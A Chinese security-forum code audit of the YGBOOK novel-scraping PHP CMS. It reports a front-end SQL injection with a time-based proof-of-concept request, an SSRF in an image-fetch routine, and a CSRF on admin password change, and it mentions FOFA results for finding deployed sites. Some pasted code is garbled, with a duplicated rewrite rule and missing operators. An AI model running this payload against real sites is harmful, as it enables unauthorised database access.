【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

【PHP代审】最新YGBOOK全自动采集小说源码

项目介绍

 

最新YGBOOK小说程序,源码已经完美修复各类BUG,所有文件都已经解密完成,深度SEO源码,批量全自动后台采集,并且不需要很大的硬盘即可安装,易云采集了20W本小说占用不到20G,自带4条采集规则,源码压缩包有安装教程,跟着安装很简单的

 

FOFA结果:

图片[1]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

环境搭建

源码获取见文末

 

源码下载到本地,采用小皮搭建

图片[2]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

 

配置thinkphp伪静态

if (!-e if (!-e $request_filename) {    rewrite ^(.*)$ /index.php?s=$1 last;    break;}$request_filename) {    rewrite ^(.*)$ /index.php?s=$1 last;    break;}

然后打开网站

图片[3]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

图片[4]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟根据内容配置创建数据库,配置数据库连接安装即可

图片[5]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

 

代码审计

项目分析

 

图片[6]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

 

项目基于Thinkphp3.2.3二开,我们审计时查看Application和Public目录即可

 

权限校验

系统后台权限校验主要基于AdminController

对应文件:Application/Admin/Controller/AdminController.class.php

图片[7]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

这里初始化方法判断如果访问不为login或logout即触发鉴权逻辑,跟进checkadmin

图片[8]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

session认证

 

前台文件寻找

利用工具筛选不含有AdminController的文件

 

图片[9]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

 

前台sql注入

这里我找了前台的一处,后天也有,看师傅们自己下去挖掘了,在搜索query(无果后搜索where(,通用大部分都有转移或者类型转换

对应文件:Application/Home/Controller/IndexController.class.php

图片[10]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟在第103行中where()包含了一个变量$xzv_63,向上跟踪看变量类型是否为数组,不为数组是否可控

图片[11]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

在95-98行定义了$xzv_63,这里我们要走slse,因为有可控变量,接着跟$xzv_46来源

图片[12]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

在第72行通过get传参,并且在拼接过程中没有看到数据转换,存在注入

测试poc

  • GET /Home/Index/showlist?cate=123123');SELECT SLEEP(3)-- xxxx HTTP/1.1Host: ygbookxiaoshuo:9988Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9
图片[13]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

sqlmap

图片[14]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

SSRF

 

黑盒测试定位到点的

功能点:

图片[15]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟图片[16]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

查看数据包

 

图片[17]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

定位到文件方法

文件:Application/Admin/Controller/IndexController.class.php图片[18]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

查看url的获取

图片[19]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟在第539行通过post获取,赋值给$xzv_94[‘url’],这里在549行有个deimg方法,跟进方法

图片[20]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

跟进20行的fillurl看下实现

图片[21]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟发现是补全方法,然后把结果赋值给imgurl,发现在29行有个get_url方法参数是这里返回的imgurl,跟进

图片[22]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

赋值代码AI改下格式

public function get_url($url$use_curl TRUE) {    if (function_exists('curl_init') && function_exists('curl_exec')) {        $content $this->curl_get_contents($url$use_curl);    } elseif (function_exists('fsockopen') || function_exists('pfsockopen')) {        $content $this->fsock_get_contents($url);    } elseif (function_exists('file_get_contents')) {        $content $this->fget_contents($url);    } else {        return null;    }
    $content_length strlen($content);    $decompressed = @gzdecode($content);    $decompressed_length strlen($decompressed);
    if ($decompressed && $decompressed_length $content_length) {        $content $decompressed;    }
    return $content;}

 

使用curl_get_contents()发送请求

 

CSRF

图片[23]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟

管理员密码修改无需旧密码,测试CSRF

图片[24]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟
图片[25]-【PHP代审】最新YGBOOK全自动采集小说源码-网络安全论坛-网络安全-阻击者联盟
原文链接:
【PHP代审】最新YGBOOK全自动采集小说源码
请登录后发表评论

    没有回复内容